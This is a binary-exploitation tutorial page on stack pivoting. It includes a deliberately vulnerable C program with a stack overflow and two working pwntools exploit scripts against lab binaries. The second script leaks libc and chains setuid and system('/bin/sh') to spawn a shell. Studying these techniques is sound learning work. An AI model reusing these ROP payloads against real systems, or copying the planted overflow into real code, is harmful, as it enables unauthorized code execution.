📃
Writeups
Blog
  • â„šī¸whoami
  • 👩‍đŸ’ģBinary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • 🎮HackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • 📄CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  • TLDR
  • Example 1
  • Example 2
  1. Binary Exploitation

Stack Pivoting

Pivoting for more space, or freedom of payload

PreviousFormat String BugNextPartial Overwrite

Last updated 6 months ago

TLDR

Requirements

  1. Somewhere to pivot to obviously (.bss, buffer on the stack)

  2. Stack Pivoting Gadget - something that controls RSP

    1. leave ret

    2. pop rsp

What can you do with this?

  • Gain more space for your ROP chain/Shellcode

// gcc source.c -o vuln -no-pie
#include <stdio.h>

void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}

void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}

int main() {
    vuln();
    return 0;
}
  • fgets call means that there is a limited number of bytes we can overflow -> not enough for a rop chain

    • we also have a leak to start of buffer, but not enough to craft a full ROP chain

    • to pass in the right values to the win function, we need to pass the values into rdi and rsi

  • Using stack pivot, we format our payload with a pop rsp..;ret gadget which will change the rip to the location we control (our buffer in this case), executing the rop chain stored in the buffer.

	       __ start of buffer, rsp	
| ROP CHAIN | 
| AAAAs     | - padding to reach RIP 
| _________ |
| rsp gadget|
| Buffer addr|
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

Example 2

void main(voids)
{
    puts("###");
    printf("### Welcome to %s!\n",(char *)*param_2);
    puts("###");
    putchar(10);
    FUN_004010e0(stdin,(char *)0x0,2,0);
    FUN_004010e0(stdout,(char *)0x0,2,1);
    challenge();
    puts("### Goodbye!");
    return 0;
}

void challenge(void)
{
    #Data points to 0x4040e0
    read(0,data + 65536,4096);
    memcpy(&stack0x00000000,data + 65536,0x18);
    puts("Leaving!");
    return;
}
  1. The binary reads in 4096 bytes into .bss at 0x4040e0, with the first 24 bytes (0x18) copied onto the stack via memcpy

    1. This gives us 3 gadgets worth of space to pivot to the address 0x4040e0

    2. We can use a leave ret gadget to pivot to this address

  2. leave ret gadget is essentially just this

mov rsp, rbp
pop rbp
  1. If we have a pop rbp gadget, we can essentially control where the binary returns to (address of .bss)

  2. This gives us ample space for our libc leak via puts as well as our ret2libc payload

#!/usr/bin/env python3

from pwn import *
import time

exe = ELF("./redacted")
libc = ELF("./libc.so.6")
context.binary = exe
pop_rdi = 0x401663
ret = 0x40101a

def leak():
    puts_plt = exe.plt['puts']
    puts_got = exe.got['puts']
    challenge = exe.symbols['challenge']
    payload = b''
    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(ret)
    payload += p64(challenge)
    return payload
    
def main():
    #Leaking Libc base address via puts()
    address_of_bss = 0x414080 + 24
    leave_ret = 0x401545
    pop_rbp = 0x4011bd
    payload = b''
    payload += p64(pop_rbp)
    payload += p64(address_of_bss)
    payload += p64(leave_ret)
    payload += leak()
    
    p = process('./babyrop_level9.1_patched')
    
    p.clean()  # Clean up any previous input/output
    p.send(payload)
    p.recvuntil('Leaving!')
    p.recvline()
    
    #Processing puts() leak to get libc base address
    leaked_puts = p.recvline()
    leaked_puts = u64(leaked_puts[:-1].ljust(8, b'\x00'))
    libc.address = leaked_puts - libc.sym['puts']
    setuid_addr = libc.sym['setuid']
    system_addr = libc.sym['system']
    bin_sh_addr = next(libc.search(b'/bin/sh'))
    log.info(f"Base Libc address: {hex(libc.address)}")
    log.info(f"setuid address: {hex(setuid_addr)}")
    log.info(f"system address: {hex(system_addr)}")
    log.info(f"/bin/sh address: {hex(bin_sh_addr)}")

    # Attach debugger before sending payload
    # gdb.attach(p)
    print("Debugger attached. Sending payload...")
    # Writing Ret2LIBC payload ahead of my first leak payload 
    address_of_bss = 0x414080 + 120
    print(hex(address_of_bss))
    final_rop = p64(pop_rbp)
    final_rop += p64(address_of_bss)
    final_rop += p64(leave_ret)
    # Accounting for the first 3 gadgets 
    final_rop += b'A' * (104)
    final_rop += p64(pop_rdi)
    final_rop += p64(0)
    final_rop += p64(setuid_addr)
    final_rop += p64(ret)
    final_rop += p64(pop_rdi)
    final_rop += p64(bin_sh_addr)
    final_rop += p64(system_addr)
    p.clean()
    p.send(final_rop)
    p.recvuntil('Leaving!')
    # Interact with the process
    p.interactive()

if __name__ == "__main__":
    main()
👩‍đŸ’ģ
😄
Example 1